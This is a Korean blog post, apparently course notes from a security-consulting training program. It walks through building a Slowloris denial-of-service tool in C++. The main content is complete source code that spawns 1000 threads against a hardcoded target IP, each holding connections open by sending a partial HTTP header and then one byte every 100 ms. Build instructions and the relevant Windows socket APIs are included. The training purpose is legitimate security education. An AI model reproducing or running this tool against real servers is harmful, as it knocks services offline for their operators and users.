10 - 악성코드 분석 1(간단한 실습)

2021. 6. 9. 17:38·기타 교육/정보보호 컨설팅 전문가 양성과정
728x90
반응형

실습

 

1. 제작 - Slowloris(동물이름과 똑같다)

 

특징 : 엄청 느린 Dos 공격이다. 패킷의 Header를 계속 보내서 Session을 유지한다. 1대의 PC와 1대의 Server서버이면 크게 상관 없지만, 몇 만대의 PC가 계속 세션을 유지하면 서버에 과부하가 생긴다.

 

제작 환경 

Microsoft Visual  Studio 2019

C++ language  

 

제작 필수 API

WSAStartup() : WS2_32.dll을 사용 할 수 있도록 초기화 하는데 사용

gethostbyname() : IP주소를 알아낼때 사용

CreateThread() : Thread 생성

socket() : 데이터 전송에 사용되는 소켓을 생성

connect() : 서버에 연결

send() : 데이터 전송

Sleep() : 대기

Closesocket() : 이미지 삭제 


Debug 모드에서 Release모드로 속성을 바꿔야 한다.(용량 및 실행 여부 차이)

VS Studio에서 런타임 라이브러리에서 다중 스레드로 변경

 

코드 생성

 

#include<stdio.h>
#include<Winsock2.h>

#pragma comment(lib, "ws_32.lib")

DWORD WINAPI SlowlorisThread(PVOID p)
{
	SOCKET s;
	sockaddr_in* victim;

	char header[] = "GET /";
	char a = 'A';
	int n;

	victim = (sockaddr_in*)p;

	while (1)
	{
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		//소켓이 제대로 생성이 되었다면
		if (s != INVALID_SOCKET)
		{
			//접속 시도하고
			connect(s, (sockaddr*)victim, sizeof(sockaddr_in));
			//헤더 날림
			send(s, header, sizeof(header) * 1, 0);
			while (1)
			{
				n = send(s, &a, 1, 0);
				if (n == SOCKET_ERROR)
				{
					break;
				}
				//하나 날리고 쉬고 하나 날리고 쉬고를 반복
				Sleep(100);
			}

		}
	}
}


int main() {
	WSADATA WD;
	ULONG i;
	hostent* host;
	sockaddr_in victim;


	WSAStartup(0X202, &WD); /* 윈도우 소켓 사용준비 */

	char victim_ip[] = "192.168.10.1"; /*공격대상 ip입력 */

	host = gethostbyname(victim_ip);
	victim.sin_family = AF_INET;
	victim.sin_addr.S_un.S_addr = *(PULONG)host->h_addr;


	printf("\nCreating thrade for slowloris is attack\n");

	/* 공격 스레드 생성*/
	for (i = 0; i < 1000; i++)
	{
		CreateThread(NULL, 0, SlowlorisThread, &victim, 0, NULL);
	}
	printf("\nAttack started\n");
	printf("\nPlease ENTER anykey to stip attack\n");
	getchar();
	
	return 0;
}

 

 

이미지 Password(패스워드) : 감염


CyberCher

 

 

키값 a를 주고 192.168.10.1(공격 대상 서버)


악성 코드 분석 

사전지식

- 컴파일/디컴파일(컴파일된 exe를 다시 source로 만드는 것을 디컴파일)

- 어셈블리어 

- 레지스터

 

 

728x90
반응형

'기타 교육 > 정보보호 컨설팅 전문가 양성과정' 카테고리의 다른 글

11 - 악성코드 분석 2(미완료)  (0) 2021.06.10
8 - 컨설턴트 전문가 직무 특강  (0) 2021.06.09
9 - 침투 테스트(Penertration testing)[테스트 종류/유형 , IP 스캔, Nmap, Fidder Web Debugger)  (0) 2021.06.08
7 - 모의해킹(OWSAPBrokenweb/)  (0) 2021.06.04
6 - 네트워크 보안(OSI 7계층, 이더넷, Data Header(데이터 헤더), CSMA/CD, IP 프로토콜, Hub, Wire Shark)  (0) 2021.05.28
'기타 교육/정보보호 컨설팅 전문가 양성과정' 카테고리의 다른 글
  • 11 - 악성코드 분석 2(미완료)
  • 8 - 컨설턴트 전문가 직무 특강
  • 9 - 침투 테스트(Penertration testing)[테스트 종류/유형 , IP 스캔, Nmap, Fidder Web Debugger)
  • 7 - 모의해킹(OWSAPBrokenweb/)
Royal!
Royal!
Bachelor of Arts. Bachelor of Science in Engineering. Master of Science in Engineering (In Progress). Job Title: Infrastructure & Security & Cloud Engineer. Etc: Mentor at Fourth Industrial Revolution Center.
  • Royal!
    Security
    Royal!
  • 전체
    오늘
    어제
    • 분류 전체보기
      • 운영체제
      • 네트워크
      • 클라우드
      • 서버
        • Container
      • 보안
      • 프로그래밍
        • Python_혼자 끄적끄적
        • Python_AI(영상처리)
        • 빅데이터
        • C_정보올림피아드 Language_Coder
        • C_QnA
      • 자격증
        • 정보보안기사
        • 정보처리기사
        • ADsP
        • CPPG
        • 보안법률
        • NCA~NCP
        • AWS Certified Solutions Arc..
      • 기타
        • 면접일지
        • 기타 활동
        • 인턴활동
        • 논문 요약
        • Hackerschool FTZ
        • 리버싱 걸음마
      • 기타 교육
        • KISA 정보보호제품실습군
        • 빅데이터_분석실무
        • 시큐어코딩진단전문교육(호남정보보호센터)
        • SW테스트 전문가 과정(ISTQB CTFL자격)
        • 정보보호 컨설팅 전문가 양성과정
        • K-Shield Jr_악성코드분석
        • K-Shield Jr_침해사고분석
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    swtich frame
    openstack설치
    nce덤프
    SSRF 방어방법
    switch forwarding mode
    LBaaS
    LBaaS설치
    우수교육생
    ai
    openstack LBaaS설치
    F5 LBaaS
    WAF SSRF
    F5 AWAF
    SSRF란
    openstack F5연동
    SSRF 막는 방법
    네이버클라우드 ftp 설정
    F5 WAF
    블록체인체험
    2025블록체인누리단
    스위치 프레임 동작 방식
    fragment-free
    F5 SSRF
    nce dump
    블록체인누리단
    openstack lbaas
    l2 스위치 프레임 전달 방식
    SSRF 완화방법
    ICT이노베이션스퀘어
    지그립토
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Royal!
10 - 악성코드 분석 1(간단한 실습)
상단으로

티스토리툴바